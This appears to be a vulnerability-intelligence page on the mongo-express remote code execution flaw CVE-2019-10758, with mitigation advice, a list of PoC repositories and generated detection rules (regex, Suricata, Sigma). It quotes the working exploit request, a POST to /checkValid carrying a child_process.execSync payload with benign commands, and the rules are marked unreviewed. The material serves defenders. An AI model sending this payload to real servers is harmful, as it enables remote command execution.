MongoDB mongo-express
MongoDB mongo-express Remote Code Execution Vulnerability
mongo-express before 0.54.0 is vulnerable to Remote Code Execution via endpoints that uses the `toBSON` method. A misuse of the `vm` dependency to perform `exec` commands in a non-safe environment.
Affected versions and mitigation
From the CVE record, GitHub Security Advisories and the vendor's references.Affected
Mitigation
Upgrade mongo-express to 0.54.0 or later.
Timeline
Days relative to CVE publicationFirst public PoC 1.4 days after publication; added to CISA KEV 2.0 years after publication. First PoC: masahiro331/CVE-2019-10758 (created 26 Dec 2019, found by us: backfilled).
PoC repositories
Found on GitHub.3 PoCs · 1 informational
PoCs 3
| Repository | Created | Stars | Assessment |
|---|---|---|---|
| masahiro331/CVE-2019-10758 | 26 Dec 2019 +1.4 d | 112 | PoC |
| ossf-cve-benchmark/CVE-2019-10758 | 1 Dec 2020 +343 d | 1 | PoC |
| CyberCTF/vulhub-mongo-express-cve-2019-10758 | 8 Oct 2026 +6.8 y | 0 | PoC |
Informational 1
| Repository | Created | Stars | Assessment |
|---|---|---|---|
| lp008/CVE-2019-10758 | 5 Jan 2020 +12 d | 5 | Informational · write-up |
Only PoCs count toward the first-PoC date and the characteristics below. Do not run PoC code from unknown sources.
Other public exploits
Exploit-DB, Metasploit and nuclei count as public PoCs. Exploit-tagged references from the CVE record and NVD are links only. None of these are analysed by us.| Source | Title | Published | Found by us |
|---|---|---|---|
| nuclei template | nuclei template: mongo-express Remote Code Execution | 27 Apr 2023 | 14 Nov 2026 |
PoC characteristics
What to hunt for in your logs · from 3 PoC reposPOST /checkValid
- Key headers
Accept: */*Accept-Language: enAuthorization: Basic YWRtaW46cGFzcw==- Body markers
document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("touch /tmp/success")document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("/Applications/Calculator.app/Contents/MacOS/Calculator")inapplication/x-www-form-urlencoded- Ports
- 8081
- PoC User-Agent
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)- Seen in
- 2 repos: CyberCTF/vulhub-mongo-express-cve-2019-10758, masahiro331/CVE-2019-10758
- Evidence
- CyberCTF/vulhub-mongo-express-cve-2019-10758/app/README.md:22 CyberCTF/vulhub-mongo-express-cve-2019-10758/app/README.zh-cn.md:20 masahiro331/CVE-2019-10758/README.md:14
Regex
Generated from PoC characteristics; not yet reviewed. Matches the request path and query.
(?i)^/checkValid(?:[?#].*)?$
Suricata
Template generated from PoC characteristics. Review before deploying.
alert http any any -> $HOME_NET [8081] (msg:"GG PoC-Monitor CVE-2019-10758 MongoDB mongo-express exploit attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/checkValid"; http.header; content:"Accept: */*"; nocase; http.header; content:"Accept-Language: en"; nocase; http.header; content:"Authorization: Basic YWRtaW46cGFzcw=="; nocase; http.request_body; content:"document=this.constructor.constructor(|22|return process|22|)().mainModule.require(|22|child_process|22|).execSync(|22|touch /tmp/success|22|)"; http.request_body; content:"document=this.constructor.constructor(|22|return process|22|)().mainModule.require(|22|child_process|22|).execSync(|22|/Applications/Calculator.app/Contents/MacOS/Calculator|22|)"; reference:url,poc.griffinguard.io/cve/CVE-2019-10758; classtype:web-application-attack; sid:9684897; rev:1;)
Sigma
Template generated from PoC characteristics. Review before deploying.
title: MongoDB mongo-express exploit attempt (CVE-2019-10758)
id: gg-pocmon-cve-2019-10758-9684897
status: experimental
description: Request pattern taken from public PoCs for CVE-2019-10758. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2019-10758
logsource:
category: webserver
detection:
selection:
cs-method: POST
cs-uri-stem|contains|all:
- '/checkValid'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: critical
tags:
- attack.initial_access
- attack.t1190
- cve.2019.10758